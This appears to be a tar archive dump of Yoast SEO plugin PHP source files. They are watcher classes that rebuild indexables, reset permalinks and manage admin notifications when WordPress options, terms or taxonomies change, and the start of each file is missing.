$main_taxonomy, true ); } /** * Removes the primary category. * * @param int $post_id The post id to set primary taxonomy for. * @param string $main_taxonomy Name of the taxonomy that is set to be the primary one. * * @return void */ private function remove_primary_term( $post_id, $main_taxonomy ) { $primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false ); if ( $primary_term ) { $primary_term->delete(); } // Remove it from the post meta. \delete_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy ); } /** * Builds the hierarchy for a post. * * @param WP_Post $post The post. * * @return void */ public function build_post_hierarchy( $post ) { if ( $this->post_type_helper->is_excluded( $post->post_type ) ) { return; } $indexable = $this->indexable_repository->find_by_id_and_type( $post->ID, 'post' ); if ( $indexable instanceof Indexable ) { $this->indexable_hierarchy_builder->build( $indexable ); } } } integrations/watchers/indexable-system-page-watcher.php000064400000005223152076254630017441 0ustar00repository = $repository; $this->builder = $builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 ); } /** * Checks if the home page indexable needs to be rebuild based on option values. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return void */ public function check_option( $old_value, $new_value ) { foreach ( Indexable_System_Page_Builder::OPTION_MAPPING as $type => $options ) { foreach ( $options as $option ) { // If both values aren't set they haven't changed. if ( ! isset( $old_value[ $option ] ) && ! isset( $new_value[ $option ] ) ) { return; } // If the value was set but now isn't, is set but wasn't or is not the same it has changed. if ( ! isset( $old_value[ $option ] ) || ! isset( $new_value[ $option ] ) || $old_value[ $option ] !== $new_value[ $option ] ) { $this->build_indexable( $type ); } } } } /** * Saves the search result. * * @param string $type The type of no index page. * * @return void */ public function build_indexable( $type ) { $indexable = $this->repository->find_for_system_page( $type, false ); $this->builder->build_for_system_page( $type, $indexable ); } } integrations/watchers/indexable-category-permalink-watcher.php000064400000003364152076254630021004 0ustar00indexable_helper->reset_permalink_indexables( 'term', 'category', Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX ); // Clear the rewrites, so the new permalink structure is used. WPSEO_Utils::clear_rewrites(); } } } integrations/watchers/indexable-term-watcher.php000064400000007256152076254630016162 0ustar00repository = $repository; $this->builder = $builder; $this->link_builder = $link_builder; $this->indexable_helper = $indexable_helper; $this->site = $site; } /** * Registers the hooks. * * @return void */ public function register_hooks() { \add_action( 'created_term', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'edited_term', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'delete_term', [ $this, 'delete_indexable' ], \PHP_INT_MAX ); } /** * Deletes a term from the index. * * @param int $term_id The Term ID to delete. * * @return void */ public function delete_indexable( $term_id ) { $indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false ); if ( ! $indexable ) { return; } $indexable->delete(); \do_action( 'wpseo_indexable_deleted', $indexable ); } /** * Update the taxonomy meta data on save. * * @param int $term_id ID of the term to save data for. * * @return void */ public function build_indexable( $term_id ) { // Bail if this is a multisite installation and the site has been switched. if ( $this->site->is_multisite_and_switched() ) { return; } $term = \get_term( $term_id ); if ( $term === null || \is_wp_error( $term ) ) { return; } if ( ! \is_taxonomy_viewable( $term->taxonomy ) ) { return; } $indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false ); // If we haven't found an existing indexable, create it. Otherwise update it. $indexable = $this->builder->build_for_id_and_type( $term_id, 'term', $indexable ); if ( ! $indexable ) { return; } // Update links. $this->link_builder->build( $indexable, $term->description ); $indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) ); $this->indexable_helper->save_indexable( $indexable ); } } integrations/watchers/indexable-permalink-watcher.php000064400000017404152076254650017173 0ustar00post_type = $post_type; $this->options_helper = $options; $this->indexable_helper = $indexable; $this->taxonomy_helper = $taxonomy_helper; $this->schedule_cron(); } /** * Registers the hooks. * * @return void */ public function register_hooks() { \add_action( 'update_option_permalink_structure', [ $this, 'reset_permalinks' ] ); \add_action( 'update_option_category_base', [ $this, 'reset_permalinks_term' ], 10, 3 ); \add_action( 'update_option_tag_base', [ $this, 'reset_permalinks_term' ], 10, 3 ); \add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] ); \add_action( 'wpseo_deactivate', [ $this, 'unschedule_cron' ] ); } /** * Resets the permalinks for everything that is related to the permalink structure. * * @return void */ public function reset_permalinks() { $post_types = $this->get_post_types(); foreach ( $post_types as $post_type ) { $this->reset_permalinks_post_type( $post_type ); } $taxonomies = $this->get_taxonomies_for_post_types( $post_types ); foreach ( $taxonomies as $taxonomy ) { $this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy ); } $this->indexable_helper->reset_permalink_indexables( 'user' ); $this->indexable_helper->reset_permalink_indexables( 'date-archive' ); $this->indexable_helper->reset_permalink_indexables( 'system-page' ); // Always update `permalink_structure` in the wpseo option. $this->options_helper->set( 'permalink_structure', \get_option( 'permalink_structure' ) ); } /** * Resets the permalink for the given post type. * * @param string $post_type The post type to reset. * * @return void */ public function reset_permalinks_post_type( $post_type ) { $this->indexable_helper->reset_permalink_indexables( 'post', $post_type ); $this->indexable_helper->reset_permalink_indexables( 'post-type-archive', $post_type ); } /** * Resets the term indexables when the base has been changed. * * @param string $old_value Unused. The old option value. * @param string $new_value Unused. The new option value. * @param string $type The option name. * * @return void */ public function reset_permalinks_term( $old_value, $new_value, $type ) { $subtype = $type; $reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS; // When the subtype contains _base, just strip it. if ( \strstr( $subtype, '_base' ) ) { $subtype = \substr( $type, 0, -5 ); } if ( $subtype === 'tag' ) { $subtype = 'post_tag'; $reason = Indexing_Reasons::REASON_TAG_BASE_PREFIX; } if ( $subtype === 'category' ) { $reason = Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX; } $this->indexable_helper->reset_permalink_indexables( 'term', $subtype, $reason ); } /** * Resets the permalink indexables automatically, if necessary. * * @return bool Whether the reset request ran. */ public function force_reset_permalinks() { if ( \get_option( 'tag_base' ) !== $this->options_helper->get( 'tag_base_url' ) ) { $this->reset_permalinks_term( null, null, 'tag_base' ); $this->options_helper->set( 'tag_base_url', \get_option( 'tag_base' ) ); } if ( \get_option( 'category_base' ) !== $this->options_helper->get( 'category_base_url' ) ) { $this->reset_permalinks_term( null, null, 'category_base' ); $this->options_helper->set( 'category_base_url', \get_option( 'category_base' ) ); } if ( $this->should_reset_permalinks() ) { $this->reset_permalinks(); return true; } $this->reset_altered_custom_taxonomies(); return true; } /** * Checks whether the permalinks should be reset after `permalink_structure` has changed. * * @return bool Whether the permalinks should be reset. */ public function should_reset_permalinks() { return \get_option( 'permalink_structure' ) !== $this->options_helper->get( 'permalink_structure' ); } /** * Resets custom taxonomies if their slugs have changed. * * @return void */ public function reset_altered_custom_taxonomies() { $taxonomies = $this->taxonomy_helper->get_custom_taxonomies(); $custom_taxonomy_bases = $this->options_helper->get( 'custom_taxonomy_slugs', [] ); $new_taxonomy_bases = []; foreach ( $taxonomies as $taxonomy ) { $taxonomy_slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy ); $new_taxonomy_bases[ $taxonomy ] = $taxonomy_slug; if ( ! \array_key_exists( $taxonomy, $custom_taxonomy_bases ) ) { continue; } if ( $taxonomy_slug !== $custom_taxonomy_bases[ $taxonomy ] ) { $this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy ); } } $this->options_helper->set( 'custom_taxonomy_slugs', $new_taxonomy_bases ); } /** * Retrieves a list with the public post types. * * @return array The post types. */ protected function get_post_types() { /** * Filter: Gives the possibility to filter out post types. * * @param array $post_types The post type names. * * @return array The post types. */ $post_types = \apply_filters( 'wpseo_post_types_reset_permalinks', $this->post_type->get_public_post_types() ); return $post_types; } /** * Retrieves the taxonomies that belongs to the public post types. * * @param array $post_types The post types to get taxonomies for. * * @return array The retrieved taxonomies. */ protected function get_taxonomies_for_post_types( $post_types ) { $taxonomies = []; foreach ( $post_types as $post_type ) { $taxonomies[] = \get_object_taxonomies( $post_type, 'names' ); } $taxonomies = \array_merge( [], ...$taxonomies ); $taxonomies = \array_unique( $taxonomies ); return $taxonomies; } /** * Schedules the WP-Cron job to check the permalink_structure status. * * @return void */ protected function schedule_cron() { if ( \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) { return; } \wp_schedule_event( \time(), 'daily', 'wpseo_permalink_structure_check' ); } /** * Unschedules the WP-Cron job to check the permalink_structure status. * * @return void */ public function unschedule_cron() { if ( ! \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) { return; } \wp_clear_scheduled_hook( 'wpseo_permalink_structure_check' ); } } integrations/watchers/indexable-homeurl-watcher.php000064400000005410152076254650016656 0ustar00post_type = $post_type; $this->options_helper = $options; $this->indexable_helper = $indexable; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_home', [ $this, 'reset_permalinks' ] ); \add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] ); } /** * Resets the permalinks for everything that is related to the permalink structure. * * @return void */ public function reset_permalinks() { $this->indexable_helper->reset_permalink_indexables( null, null, Indexing_Reasons::REASON_HOME_URL_OPTION ); // Reset the home_url option. $this->options_helper->set( 'home_url', \get_home_url() ); } /** * Resets the permalink indexables automatically, if necessary. * * @return bool Whether the request ran. */ public function force_reset_permalinks() { if ( $this->should_reset_permalinks() ) { $this->reset_permalinks(); if ( \defined( 'WP_CLI' ) && \WP_CLI ) { WP_CLI::success( \__( 'All permalinks were successfully reset', 'wordpress-seo' ) ); } return true; } return false; } /** * Checks whether permalinks should be reset. * * @return bool Whether the permalinks should be reset. */ public function should_reset_permalinks() { return \get_home_url() !== $this->options_helper->get( 'home_url' ); } } integrations/watchers/woocommerce-beta-editor-watcher.php000064400000010234152076254650017766 0ustar00notification_center = $notification_center; $this->notification_helper = $notification_helper; $this->short_link_helper = $short_link_helper; $this->woocommerce_conditional = $woocommerce_conditional; $this->presenter = new Woocommerce_Beta_Editor_Presenter( $this->short_link_helper ); } /** * Returns the conditionals based on which this loadable should be active. * * @return string[] The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class, Not_Admin_Ajax_Conditional::class ]; } /** * Initializes the integration. * * On admin_init, it is checked whether the notification about Woocommerce product beta editor enabled should be shown. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'manage_woocommerce_beta_editor_notification' ] ); } /** * Manage the Woocommerce product beta editor notification. * * Shows the notification if needed and deletes it if needed. * * @return void */ public function manage_woocommerce_beta_editor_notification() { if ( \get_option( 'woocommerce_feature_product_block_editor_enabled' ) === 'yes' && $this->woocommerce_conditional->is_met() ) { $this->maybe_add_woocommerce_beta_editor_notification(); } else { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } } /** * Add the Woocommerce product beta editor enabled notification if it does not exist yet. * * @return void */ public function maybe_add_woocommerce_beta_editor_notification() { if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) { $notification = $this->notification(); $this->notification_helper->restore_notification( $notification ); $this->notification_center->add_notification( $notification ); } } /** * Returns an instance of the notification. * * @return Yoast_Notification The notification to show. */ protected function notification() { return new Yoast_Notification( $this->presenter->present(), [ 'type' => Yoast_Notification::ERROR, 'id' => self::NOTIFICATION_ID, 'capabilities' => 'wpseo_manage_options', 'priority' => 1, ], ); } } integrations/watchers/option-titles-watcher.php000064400000006465152076254650016077 0ustar00 */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * Checks if one of the relevant options has been changed. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether or not the ancestors are removed. */ public function check_option( $old_value, $new_value ) { // If this is the first time saving the option, thus when value is false. if ( $old_value === false ) { $old_value = []; } if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) { return false; } $relevant_keys = $this->get_relevant_keys(); if ( empty( $relevant_keys ) ) { return false; } $post_types = []; foreach ( $relevant_keys as $post_type => $relevant_option ) { // If both values aren't set they haven't changed. if ( ! isset( $old_value[ $relevant_option ] ) && ! isset( $new_value[ $relevant_option ] ) ) { continue; } if ( $old_value[ $relevant_option ] !== $new_value[ $relevant_option ] ) { $post_types[] = $post_type; } } return $this->delete_ancestors( $post_types ); } /** * Retrieves the relevant keys. * * @return array Array with the relevant keys. */ protected function get_relevant_keys() { $post_types = \get_post_types( [ 'public' => true ], 'names' ); if ( ! \is_array( $post_types ) || $post_types === [] ) { return []; } $relevant_keys = []; foreach ( $post_types as $post_type ) { $relevant_keys[ $post_type ] = 'post_types-' . $post_type . '-maintax'; } return $relevant_keys; } /** * Removes the ancestors for given post types. * * @param array $post_types The post types to remove hierarchy for. * * @return bool True when delete query was successful. */ protected function delete_ancestors( $post_types ) { if ( empty( $post_types ) ) { return false; } $wpdb = Wrapper::get_wpdb(); $hierarchy_table = Model::get_table_name( 'Indexable_Hierarchy' ); $indexable_table = Model::get_table_name( 'Indexable' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Delete query. $result = $wpdb->query( $wpdb->prepare( " DELETE FROM %i WHERE indexable_id IN( SELECT id FROM %i WHERE object_type = 'post' AND object_sub_type IN( " . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ' ) )', $hierarchy_table, $indexable_table, ...$post_types, ), ); return $result !== false; } } integrations/watchers/search-engines-discouraged-watcher.php000064400000015754152076254650020450 0ustar00notification_center = $notification_center; $this->notification_helper = $notification_helper; $this->current_page_helper = $current_page_helper; $this->options_helper = $options_helper; $this->capability_helper = $capability_helper; $this->presenter = new Search_Engines_Discouraged_Presenter(); } /** * Initializes the integration. * * On admin_init, it is checked whether the notification about search engines being discouraged should be shown. * On admin_notices, the notice about the search engines being discouraged will be shown when necessary. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'manage_search_engines_discouraged_notification' ] ); \add_action( 'update_option_blog_public', [ $this, 'restore_ignore_option' ] ); /* * The `admin_notices` hook fires on single site admin pages vs. * `network_admin_notices` which fires on multisite admin pages and * `user_admin_notices` which fires on multisite user admin pages. */ \add_action( 'admin_notices', [ $this, 'maybe_show_search_engines_discouraged_notice' ] ); } /** * Manage the search engines discouraged notification. * * Shows the notification if needed and deletes it if needed. * * @return void */ public function manage_search_engines_discouraged_notification() { if ( ! $this->should_show_search_engines_discouraged_notification() ) { $this->remove_search_engines_discouraged_notification_if_exists(); } else { $this->maybe_add_search_engines_discouraged_notification(); } } /** * Show the search engine discouraged notice when needed. * * @return void */ public function maybe_show_search_engines_discouraged_notice() { if ( ! $this->should_show_search_engines_discouraged_notice() ) { return; } $this->show_search_engines_discouraged_notice(); } /** * Whether the search engines discouraged notification should be shown. * * @return bool */ protected function should_show_search_engines_discouraged_notification() { return $this->search_engines_are_discouraged() && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false; } /** * Remove the search engines discouraged notification if it exists. * * @return void */ protected function remove_search_engines_discouraged_notification_if_exists() { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } /** * Add the search engines discouraged notification if it does not exist yet. * * @return void */ protected function maybe_add_search_engines_discouraged_notification() { if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) { $notification = $this->notification(); $this->notification_helper->restore_notification( $notification ); $this->notification_center->add_notification( $notification ); } } /** * Checks whether search engines are discouraged from indexing the site. * * @return bool Whether search engines are discouraged from indexing the site. */ protected function search_engines_are_discouraged() { return (string) \get_option( 'blog_public' ) === '0'; } /** * Whether the search engines notice should be shown. * * @return bool */ protected function should_show_search_engines_discouraged_notice() { $pages_to_show_notice = [ 'index.php', 'plugins.php', 'update-core.php', ]; return ( $this->search_engines_are_discouraged() && $this->capability_helper->current_user_can( 'manage_options' ) && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false && ( $this->current_page_helper->is_yoast_seo_page() || \in_array( $this->current_page_helper->get_current_admin_page(), $pages_to_show_notice, true ) ) && $this->current_page_helper->get_current_yoast_seo_page() !== 'wpseo_dashboard' ); } /** * Show the search engines discouraged notice. * * @return void */ protected function show_search_engines_discouraged_notice() { \printf( '
%1$s
', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe. $this->presenter->present(), ); } /** * Returns an instance of the notification. * * @return Yoast_Notification The notification to show. */ protected function notification() { return new Yoast_Notification( $this->presenter->present(), [ 'type' => Yoast_Notification::ERROR, 'id' => self::NOTIFICATION_ID, 'capabilities' => 'wpseo_manage_options', 'priority' => 1, ], ); } /** * Should restore the ignore option for the search engines discouraged notice. * * @return void */ public function restore_ignore_option() { if ( ! $this->search_engines_are_discouraged() ) { $this->options_helper->set( 'ignore_search_engines_discouraged_notice', false ); } } } integrations/watchers/indexable-date-archive-watcher.php000064400000005035152076254650017542 0ustar00repository = $repository; $this->builder = $builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 ); } /** * Checks if the date archive indexable needs to be rebuild based on option values. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return void */ public function check_option( $old_value, $new_value ) { $relevant_keys = [ 'title-archive-wpseo', 'breadcrumbs-archiveprefix', 'metadesc-archive-wpseo', 'noindex-archive-wpseo' ]; foreach ( $relevant_keys as $key ) { // If both values aren't set they haven't changed. if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) { continue; } // If the value was set but now isn't, is set but wasn't or is not the same it has changed. if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) { $this->build_indexable(); return; } } } /** * Saves the date archive. * * @return void */ public function build_indexable() { $indexable = $this->repository->find_for_date_archive( false ); $this->builder->build_for_date_archive( $indexable ); } } integrations/watchers/indexable-home-page-watcher.php000064400000007066152076254660017057 0ustar00repository = $repository; $this->indexable_helper = $indexable_helper; $this->builder = $builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 15, 3 ); \add_action( 'update_option_wpseo_social', [ $this, 'check_option' ], 15, 3 ); \add_action( 'update_option_blog_public', [ $this, 'build_indexable' ] ); \add_action( 'update_option_blogdescription', [ $this, 'build_indexable' ] ); } /** * Checks if the home page indexable needs to be rebuild based on option values. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * @param string $option The name of the option. * * @return void */ public function check_option( $old_value, $new_value, $option ) { $relevant_keys = [ 'wpseo_titles' => [ 'title-home-wpseo', 'breadcrumbs-home', 'metadesc-home-wpseo', 'open_graph_frontpage_title', 'open_graph_frontpage_desc', 'open_graph_frontpage_image', ], ]; if ( ! isset( $relevant_keys[ $option ] ) ) { return; } foreach ( $relevant_keys[ $option ] as $key ) { // If both values aren't set they haven't changed. if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) { continue; } // If the value was set but now isn't, is set but wasn't or is not the same it has changed. if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) { $this->build_indexable(); return; } } } /** * Saves the home page. * * @return void */ public function build_indexable() { $indexable = $this->repository->find_for_home_page( false ); if ( $indexable === false && ! $this->indexable_helper->should_index_indexables() ) { return; } $indexable = $this->builder->build_for_home_page( $indexable ); if ( $indexable ) { $indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) ); $indexable->save(); } } } integrations/watchers/primary-term-watcher.php000064400000010644152076254660015710 0ustar00repository = $repository; $this->site = $site; $this->primary_term = $primary_term; $this->primary_term_builder = $primary_term_builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'save_post', [ $this, 'save_primary_terms' ], \PHP_INT_MAX ); \add_action( 'delete_post', [ $this, 'delete_primary_terms' ] ); } /** * Saves all selected primary terms. * * @param int $post_id Post ID to save primary terms for. * * @return void */ public function save_primary_terms( $post_id ) { // Bail if this is a multisite installation and the site has been switched. if ( $this->site->is_multisite_and_switched() ) { return; } $taxonomies = $this->primary_term->get_primary_term_taxonomies( $post_id ); foreach ( $taxonomies as $taxonomy ) { $this->save_primary_term( $post_id, $taxonomy ); } $this->primary_term_builder->build( $post_id ); } /** * Saves the primary term for a specific taxonomy. * * @param int $post_id Post ID to save primary term for. * @param WP_Term $taxonomy Taxonomy to save primary term for. * * @return void */ protected function save_primary_term( $post_id, $taxonomy ) { if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer. $primary_term_id = (int) \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ); if ( $primary_term_id <= 0 ) { $primary_term = ''; } else { $primary_term = (string) $primary_term_id; } // We accept an empty string here because we need to save that if no terms are selected. if ( \check_admin_referer( 'save-primary-term', WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_nonce' ) !== null ) { $primary_term_object = new WPSEO_Primary_Term( $taxonomy->name, $post_id ); $primary_term_object->set_primary_term( $primary_term ); } } } /** * Deletes primary terms for a post. * * @param int $post_id The post to delete the terms of. * * @return void */ public function delete_primary_terms( $post_id ) { foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) { $primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy->name, false ); if ( ! $primary_term_indexable ) { continue; } $primary_term_indexable->delete(); } } } integrations/watchers/indexable-taxonomy-change-watcher.php000064400000012070152076254660020305 0ustar00 The conditionals. */ public static function get_conditionals() { return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ]; } /** * Indexable_Taxonomy_Change_Watcher constructor. * * @param Indexing_Helper $indexing_helper The indexing helper. * @param Options_Helper $options The options helper. * @param Taxonomy_Helper $taxonomy_helper The taxonomy helper. * @param Yoast_Notification_Center $notification_center The notification center. * @param Indexable_Helper $indexable_helper The indexable helper. */ public function __construct( Indexing_Helper $indexing_helper, Options_Helper $options, Taxonomy_Helper $taxonomy_helper, Yoast_Notification_Center $notification_center, Indexable_Helper $indexable_helper ) { $this->indexing_helper = $indexing_helper; $this->options = $options; $this->taxonomy_helper = $taxonomy_helper; $this->notification_center = $notification_center; $this->indexable_helper = $indexable_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'check_taxonomy_public_availability' ] ); } /** * Checks if one or more taxonomies change visibility. * * @return void */ public function check_taxonomy_public_availability() { // We have to make sure this is just a plain http request, no ajax/REST. if ( \wp_is_json_request() ) { return; } $public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies(); $last_known_public_taxonomies = $this->options->get( 'last_known_public_taxonomies', [] ); // Initializing the option on the first run. if ( empty( $last_known_public_taxonomies ) ) { $this->options->set( 'last_known_public_taxonomies', $public_taxonomies ); return; } // We look for new public taxonomies. $newly_made_public_taxonomies = \array_diff( $public_taxonomies, $last_known_public_taxonomies ); // We look fortaxonomies that from public have been made private. $newly_made_non_public_taxonomies = \array_diff( $last_known_public_taxonomies, $public_taxonomies ); // Nothing to be done if no changes has been made to taxonomies. if ( empty( $newly_made_public_taxonomies ) && ( empty( $newly_made_non_public_taxonomies ) ) ) { return; } // Update the list of last known public taxonomies in the database. $this->options->set( 'last_known_public_taxonomies', $public_taxonomies ); // There are new taxonomies that have been made public. if ( ! empty( $newly_made_public_taxonomies ) ) { // Force a notification requesting to start the SEO data optimization. \delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT ); $this->indexing_helper->set_reason( Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC ); \do_action( 'new_public_taxonomy_notifications', $newly_made_public_taxonomies ); } // There are taxonomies that have been made private. if ( ! empty( $newly_made_non_public_taxonomies ) && $this->indexable_helper->should_index_indexables() ) { // Schedule a cron job to remove all the terms whose taxonomy has been made private. $cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ); if ( $cleanup_not_yet_scheduled ) { \wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK ); } \do_action( 'clean_new_public_taxonomy_notifications', $newly_made_non_public_taxonomies ); } } } integrations/watchers/auto-update-watcher.php000064400000002772152076254660015513 0ustar00notification_center = $notification_center; } /** * Initializes the integration. * * On admin_init, it is checked whether the notification to auto-update Yoast SEO needs to be shown or removed. * This is also done when major WP core updates are being enabled or disabled, * and when automatic updates for Yoast SEO are being enabled or disabled. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'remove_notification' ] ); } /** * Removes the notification from the notification center, if it exists. * * @return void */ public function remove_notification() { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } } integrations/watchers/indexable-ancestor-watcher.php000064400000020344152076254660017025 0ustar00indexable_repository = $indexable_repository; $this->indexable_hierarchy_builder = $indexable_hierarchy_builder; $this->indexable_hierarchy_repository = $indexable_hierarchy_repository; $this->indexable_helper = $indexable_helper; $this->permalink_helper = $permalink_helper; $this->post_type_helper = $post_type_helper; } /** * Registers the appropriate hooks. * * @return void */ public function register_hooks() { \add_action( 'wpseo_save_indexable', [ $this, 'reset_children' ], \PHP_INT_MAX, 2 ); } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * If an indexable's permalink has changed, updates its children in the hierarchy table and resets the children's permalink. * * @param Indexable $indexable The indexable. * @param Indexable $indexable_before The old indexable. * * @return bool True if the children were reset. */ public function reset_children( $indexable, $indexable_before ) { if ( ! \in_array( $indexable->object_type, [ 'post', 'term' ], true ) ) { return false; } // If the permalink was null it means it was reset instead of changed. if ( $indexable->permalink === $indexable_before->permalink || $indexable_before->permalink === null ) { return false; } $child_indexable_ids = $this->indexable_hierarchy_repository->find_children( $indexable ); $child_indexables = $this->indexable_repository->find_by_ids( $child_indexable_ids ); \array_walk( $child_indexables, [ $this, 'update_hierarchy_and_permalink' ] ); if ( $indexable->object_type === 'term' ) { $child_indexables_for_term = $this->get_children_for_term( $indexable->object_id, $child_indexables ); \array_walk( $child_indexables_for_term, [ $this, 'update_hierarchy_and_permalink' ] ); } return true; } /** * Finds all child indexables for the given term. * * @param int $term_id Term to fetch the indexable for. * @param array $child_indexables The already known child indexables. * * @return array The list of additional child indexables for a given term. */ public function get_children_for_term( $term_id, array $child_indexables ) { // Finds object_ids (posts) for the term. $post_object_ids = $this->get_object_ids_for_term( $term_id, $child_indexables ); // Removes the objects that are already present in the children. $existing_post_indexables = \array_filter( $child_indexables, static function ( $indexable ) { return $indexable->object_type === 'post'; }, ); $existing_post_object_ids = \wp_list_pluck( $existing_post_indexables, 'object_id' ); $post_object_ids = \array_diff( $post_object_ids, $existing_post_object_ids ); // Finds the indexables for the fetched post_object_ids. $post_indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_object_ids, 'post', false ); // Finds the indexables for the posts that are attached to the term. $post_indexable_ids = \wp_list_pluck( $post_indexables, 'id' ); $additional_indexable_ids = $this->indexable_hierarchy_repository->find_children_by_ancestor_ids( $post_indexable_ids ); // Makes sure we only have indexable id's that we haven't fetched before. $additional_indexable_ids = \array_diff( $additional_indexable_ids, $post_indexable_ids ); // Finds the additional indexables. $additional_indexables = $this->indexable_repository->find_by_ids( $additional_indexable_ids ); // Merges all fetched indexables. return \array_merge( $post_indexables, $additional_indexables ); } /** * Updates the indexable hierarchy and indexable permalink. * * @param Indexable $indexable The indexable to update the hierarchy and permalink for. * * @return void */ protected function update_hierarchy_and_permalink( $indexable ) { if ( \is_a( $indexable, Indexable::class ) ) { $this->indexable_hierarchy_builder->build( $indexable ); $indexable->permalink = $this->permalink_helper->get_permalink_for_indexable( $indexable ); $this->indexable_helper->save_indexable( $indexable ); } } /** * Retrieves the object id's for a term based on the term-post relationship. * * @param int $term_id The term to get the object id's for. * @param array $child_indexables The child indexables. * * @return array List with object ids for the term. */ protected function get_object_ids_for_term( $term_id, $child_indexables ) { global $wpdb; $filter_terms = static function ( $child ) { return $child->object_type === 'term'; }; $child_terms = \array_filter( $child_indexables, $filter_terms ); $child_object_ids = \array_merge( [ $term_id ], \wp_list_pluck( $child_terms, 'object_id' ) ); // Get the term-taxonomy id's for the term and its children. // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching $term_taxonomy_ids = $wpdb->get_col( $wpdb->prepare( 'SELECT term_taxonomy_id FROM %i WHERE term_id IN( ' . \implode( ', ', \array_fill( 0, ( \count( $child_object_ids ) ), '%s' ) ) . ' )', $wpdb->term_taxonomy, ...$child_object_ids, ), ); // In the case of faulty data having been saved the above query can return 0 results. if ( empty( $term_taxonomy_ids ) ) { return []; } // Get the (post) object id's that are attached to the term. // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching return $wpdb->get_col( $wpdb->prepare( 'SELECT DISTINCT object_id FROM %i WHERE term_taxonomy_id IN( ' . \implode( ', ', \array_fill( 0, \count( $term_taxonomy_ids ), '%s' ) ) . ' )', $wpdb->term_relationships, 